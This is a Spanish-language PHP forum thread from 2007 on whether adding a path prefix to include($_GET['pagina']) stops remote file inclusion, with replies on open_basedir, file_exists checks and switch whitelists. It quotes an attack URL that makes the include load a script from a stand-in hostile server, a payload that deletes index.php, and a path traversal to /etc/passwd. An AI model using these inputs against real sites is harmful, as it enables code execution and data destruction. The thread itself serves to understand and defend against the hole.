Foros del Web » Programando para Internet » PHP »

duda, ¿es esto seguro?

Estas en el tema de duda, ¿es esto seguro? en el foro de PHP en Foros del Web. Buenas, tras un post que anduvo por aquí hace poco, donde se trataba que hace algo como: include($_GET['pagina'] . ".php"); eso se demostró que era ...
  #1 (permalink)  
Antiguo 04/07/2007, 04:33
 
Fecha de Ingreso: marzo-2005
Ubicación: Sevilla
Mensajes: 277
Antigüedad: 19 años, 1 mes
Puntos: 2
duda, ¿es esto seguro?

Buenas, tras un post que anduvo por aquí hace poco, donde se trataba que hace algo como:

include($_GET['pagina'] . ".php");

eso se demostró que era un peligro, que mejor usar un switch.

Pues un amigo (también programador php) me dijo que lo del switch era una tonteria, que su aplicación era segura.
y lo que hace es:

include("./pages/" . $_GET['pagina'] . ".php");

que cierto que podias intentar incluir algo como
index.php?pagina=../admin/admin
pero que eso lo tiene controlado.

Y que no se peude inyectar codigo de otro servidor, lo que comentaba wrkjmg de poner
index.php?pagina=http://www.servidorpirata.com/script

Es cierto que por sólo incluir los archivos con una ruta:
include("./ruta/" . $_GET['pagina'] . ".php");
ya no se puede inyectar codigo externo?
  #2 (permalink)  
Antiguo 04/07/2007, 09:15
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Re: duda, ¿es esto seguro?

No es cuestión de incluirlos con una ruta.

PHP provee una configuración de seguridad en el php.ini que especifica los directorios desde los que se pueden cargar archivos. Esta directiva es open_basedir

Si se pide cargar un archivo que no esté en un directorio especificado en open_basedir, la inclusión falla.

De todas formas, no es una buena práctica confiar en algo que no controlamos, bien puede estar habilitada esa opción en el sistema hoy y no estarlo mañana, o cambiar su valor.

Creo que las medidas de seguridad nunca son una tontería, a lo sumo serán redundantes, pero nunca una tontería.

Si tu amigo está confiando en open_basedir, solo espero que nunca se lo deshabiliten en la empresa de alojamiento....

A propósito, ¿no hiciste alguna pruebita?
  #3 (permalink)  
Antiguo 04/07/2007, 17:02
 
Fecha de Ingreso: marzo-2005
Ubicación: Sevilla
Mensajes: 277
Antigüedad: 19 años, 1 mes
Puntos: 2
Re: duda, ¿es esto seguro?

no me referia a eso, se que por ejemplo no voy a incluir algo del tipo
../../../../../../etc/passwd

Esta claro que eso no lo permitiria el servidor ni nada por el estilo.

El problema es que como surgió en otro post, al incluirlos sin ruta,
include($_GET['pagina'] . ".php");

yo podia hacer index.php?pagina=http://www.servidorpirata.com/script

y en script.php en el servidor pirata poner algo como

<?php
echo '<? unlink("index.php");?>';
?>

y eso funcionaría y borraría el index.php de tu página web, lo he probado y funcionó.

El caso es que discutiendo con un amigo, él dice que en su web no se peude hacer.

Al hacer include("./pages/" . $_GET['pagina'] . ".php");

salta un error si metes algo como
index.php?pagina=http://www.servidorpirata.com/script

porque le ha metido una ruta antes "./pages/";

el caso es que sólo tenía la duda de si con eso también te pueden hacer un remote file inclusion, tal como pasaba en el ejemplo de arriba.

Yo dede luego no sé si se puede, por eso pregunto.

Y en mi caso, siempre confio mejor en un switch, y controlarlo todo, a que se me escape algo.

Alguna pruebita si que hice,pero me lanza error. Además, no le quiero toquetear mucho, que depsués se enfada conmigo xd ;)
  #4 (permalink)  
Antiguo 05/07/2007, 08:28
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Re: duda, ¿es esto seguro?

Entiendo lo que querés decir específicamente, mi respuesta era más general: con open_basedir no se carga NADA que esté fuera de las carpetas especificadas, en particular cosas de un servidor externo.

Ciertamente lo que dice tu amigo es cierto, no existe un archivo
/pages/http:// y por tanto esa es una solución fácil. No es necesario que haya una carpeta, podés seguir usando archivos en la misma carpeta simplemente cambiando

include("$pagina");
por
include("./$pagina");

Pero de todas formas eso no se hace pues, siempre al menos un file_exists debe haber antes de hacer la inclusión...

Ya no como cuestión de seguridad sino como las famosas "mejores prácticas"


Saludos.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 22:09.